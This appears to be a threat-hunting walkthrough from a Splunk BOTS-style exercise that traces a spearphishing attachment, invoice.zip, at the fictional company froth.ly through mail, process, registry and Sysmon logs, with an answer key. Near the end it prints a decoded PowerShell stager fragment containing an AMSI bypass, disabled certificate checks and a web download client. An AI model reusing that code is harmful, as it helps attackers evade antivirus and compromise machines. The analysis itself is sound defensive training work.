

Initial Access

Spearphishing:

Hypothesis:

ATT&CK - Phishing: Spearphishing Attachment

Adversaries will attempt to establish a foothold within froth.ly using a spearphishing attachment.

Here are some questions to think about that may help as we conduct our hunt:

- What data sources (sourcetypes) should we look for mail traffic in?
 - Do we have visibility into what email attachments are being received?
 - Are there specific kinds of attachments that we should be hunting for?
 - If we have attachments of interest, what attributes are associated with it?
Sender, recipient, subject, message and more
 - Do we see those attributes in other emails?
 - Are there prior spearphishing attempts that perhaps were unsuccessful that can be leveraged in our hunt?
- We can brainstorm sources from where mail attachments can be found, or the protocols used in mail exchange. We can find that source is *smtp* and the sourcetype is *attach_filename*. Upon further hunting we can see the top 2 attachments seem malicious. Let's search for events related to invoice.zip.



The screenshot shows a Splunk search results interface for the field `attach_filename()`. It indicates 5 values, which is 0.002% of the total events. There are tabs for 'Selected' (Yes/No) and 'Reports' (Top values, Top values by time, Rare values). Below the reports, a table lists the values with their counts and percentages, accompanied by horizontal bar charts.

Values	Count	%
Malware Alert Text.txt	4	40%
invoice.zip	4	40%
image.png	2	20%
GoT.S7E2.BOTS.BOTS.BOTS.mkv.torrent	1	10%
Office2016_Patcher_For_OSX.torrent	1	10%

- After narrowing down to only one attachment "*invoice.zip*", and analyzing the we could find the attributes mentioned in the hypothesis.
- We know that the adversary has used VPN services to hide his location. Upon investigation, those 4 IP addresses are Microsoft Servers showing up in Redmond, Washington.

src_ip

4 Values, 100% of events

Selected

Yes

No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%	
104.47.37.62	1	25%	
104.47.38.87	1	25%	
104.47.41.43	1	25%	
104.47.42.76	1	25%	

- However, the source from which the mail was sent, can be observed, and also the originating IP address by examining the content header of the mail, which was located in Belgium. 185.83.51.21 (smtp12.ymlpsvr.com)

censys Q IPv4 Hosts 185.83.51.21 JS

185.83.51.21 (smtp12.ymlpsvr.com)

Summary WHOIS Raw Data

Basic Information

- Network YMLP — NETWORK (BE)
- Routing 185.83.48.0/22 via AS7018, AS3257, AS8368, AS201168
- Protocols 443/HTTPS, 80/HTTP, 25/SMTP

80/HTTP

GET /

- Server nginx
- Status Line 200 OK
- GET / [view page]

443/HTTPS

Chrome TLS Handshake

- Version TLSv1.2
- Cipher Suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
- Trusted True
- Heartbleed Heartbeat Enabled. Immune to Heartbleed.

Geographic Location

- Country Belgium (BE)
- Lat/Long 50.85, 4.35
- Timezone Europe/Brussels

- Now we search if Jim Smith has previously sent any mails to any of our employees. We can see that Jim has already tried to send a document which was automatically removed because it was identified as malicious. So he modified his attachment and sent mails again. Performing a OSINT on the file hash was a dead end.

Here are some questions to think about that may help as we conduct our hunt:

- What data sources (sourcetypes) should execution of files be seen in?
 - Should we be looking for file executions before or after spearphishing attachments may have been received?
 - What kind of supporting information is found in events when a file execution occurs?
 - What other indicators do we have to start looking for user execution?
 - In this case, we know that a spearphishing attachment called invoice.zip was received
 - What system did the execution occur on?
 - What user name executed the file?
 - What happened upon execution of a file?
- Now, we search for other instances where invoice.zip was seen. We can notice that in source 'process' and sourcetype 'WinHostMon' we can find the attachment. It is also possible that after the delivery of the malicious file, a malicious process could've started. So we search for processes linked with invoice.zip.
 - If we look at the Windows Event Logs and Registry, we can see winword.exe starting and opening invoice.doc from within temp_invoice.zip.

i	Time	Event
>	8/23/17 8:41:53.000 PM	08/23/2017 20:41:53.770 event_status="(0)The operation completed successfully." ... 3 lines omitted ... key_path="HKU\\s-1-5-21-3348076501-352378380-2991248034-1115\\software\\microsoft\\office\\16.0\\word\\reading locations\\document 0\\file path" data_type="REG_SZ" data="C:\\Users\\billy.tun\\AppData\\Local\\Temp\\Temp1_invoice.zip\\invoice.doc" Show all 8 lines host = wrk-btun source = WinRegistry sourcetype = WinRegistry
>	8/23/17 8:38:12.000 PM	Type=Process Name="WINWORD.EXE" ProcessId=4208 CommandLine="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE" /n "C:\\Users\\billy.tun\\AppData\\Local\\Temp\\Temp1_invoice.zip\\invoice.doc" /o "u" StartTime="20170810095855.677315-420" Show all 7 lines host = wrk-btun source = process sourcetype = WinHostMon
>	8/23/17 8:28:55.000 PM	08/23/2017 08:28:55 PM ... 21 lines omitted ... Token Elevation Type: TokenElevationTypeLimited (3) Creator Process ID: 0xb00 Process Command Line: "C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE" /n "C:\\Users\\billy.tun\\AppData\\Local\\Temp\\Temp1_invoice.zip\\invoice.doc" /o "u" Show all 33 lines host = wrk-btun source = WinEventLog-Security sourcetype = wineventlog

- If we turn our attention to Sysmon, we see two events referencing invoice.zip, around the same time as the process creation Windows event but before the Windows registry event.
- If we look at the process creation Sysmon event, we can see here that winword.exe was executed and invoice.doc, extracted from invoice.zip was opened. Based upon this and the absence of a VirusTotal hit, we may have a macro execution creating havoc.
- Let's use our time picker and narrow our time range down to the first Sysmon event that occurred on August 23 at 20:28:55 and then let's look for activity in the next minute or so after this first Sysmon event occurs.

▼ Date & Time Range

Between ▼	08/23/2017	20:28:55.000	and	08/23/2017	20:30:00.000
		HH:MM:SS.SSS			HH:MM:SS.SSS
<div>Apply</div>					

- As we scroll through the list of Sysmon events, we see this event shortly after the winword.exe execution. A quick glance at the CommandLine shows encoded PowerShell. Let's grab the encoded PowerShell. It is mentioned that it is encoded in base64. So using an online base64 decoder, we find the following output.

Output

time: 1ms
length: 2130
lines: 1

Save to file

Copy output

Move output to input

Undo

Max

```
[.R.E.F.]...A.S.S.E.m.b.l.Y...G.e.T.T.Y.P.e.
('S.y.s.t.e.m...M.a.n.a.g.e.m.e.n.t...A.u.t.o.m.a.t.i.o.n...A.m.s.i.U.t.i.l.s.').|.?.{.$._.}|.%.
{.$._...G.e.t.F.I.E.L.d.
('a.m.s.i.I.n.i.t.F.a.i.l.e.d.',','.N.o.n.P.u.b.l.i.c.,S.t.a.t.i.c.')...S.e.t.V.a.l.u.e.
{.$n.u.L.l.,$T.r.u.E.).};.
[S.Y.s.T.E.M...N.e.t...S.e.r.V.I.c.E.P.O.i.n.T.M.A.n.A.G.E.r.]...E.X.P.E.c.T.1.0.0.C.O.N.t.i.n.u.e.=.
0.;$w.C.=N.E.w.-O.B.j.E.C.T.
.S.y.s.T.e.m...N.E.t...W.e.B.C.l.i.E.n.T.;$u.='M.o.z.i.l.l.a./5...0. .(.W.i.n.d.o.w.s. .N.T.
.6...1.;. .W.O.W.6.4.;. .T.r.i.d.e.n.t./7...0.;. .r.v.:1.1...0.). .l.i.k.e. .G.e.c.k.o.';
[S.y.s.t.e.m...N.e.t...S.e.r.v.i.c.e.P.o.i.n.t.M.a.n.a.g.e.r.]...S.e.r.v.e.r.C.e.r.t.i.f.i.c.a.t.e.V.
a.l.i.d.a.t.i.o.n.C.a.l.l.b.a.c.k. .=. .{.$t.r.u.e.);.$W.c...H.e.A.D.e.r.s...A.d.d.
('U.s.e.r.-A.g.e.n.t.',,$u.);.$W.c...P.R.O.X.y.=.
[S.y.s.t.e.m...N.E.t...W.E.B.R.e.q.u.e.S.T.]...D.e.f.A.U.l.t.W.e.b.P.r.O.x.y.;.$W.C...P.R.o.x.y...C.
R.E.D.e.N.t.I.A.l.s. .=. .
[S.y.s.T.e.M...N.E.T...C.R.e.d.E.N.t.i.A.l.C.A.C.h.E.]...D.e.F.A.u.l.T.N.E.T.W.o.R.k.C.r.e.D.E.N.T.I.
a.l.S.;$K=[S.y.s.T.e.m...T.E.x.t...E.N.c.O.d.i.N.G.]...A.S.C.I.I...G.e.t.B.Y.T.e.s.
('3.8.9.2.8.8.e.d.d.7.8.e.8.e.a.2.f.5.4.9.4.6.d.3.2.0.9.b.1.6.b.8.').);$R.=.
{.$D.,$K=$A.r.g.S.;$S.=0....2.5.5.;0....2.5.5.|.%.{.$J=.(.$J+.$S[.$_].)+.$K.
```

What have we learned?

- What data sources (sourcetypes) should execution of files be seen in? **process, Winhostmon**
- Should we be looking for file executions before or after spearphishing attachments may have been received? **After**
- What kind of supporting information is found in events when a file execution occurs? **temp_invoice.zip, invoice.doc**
- What other indicators do we have to start looking for user execution?
- In this case, we know that a spearphishing attachment called invoice.zip was received
 - What system did the execution occur on? **WRK-BTUN**
 - What user name executed the file? **Billy.tun**
 - What happened upon execution of a file? **Malicious Process Created**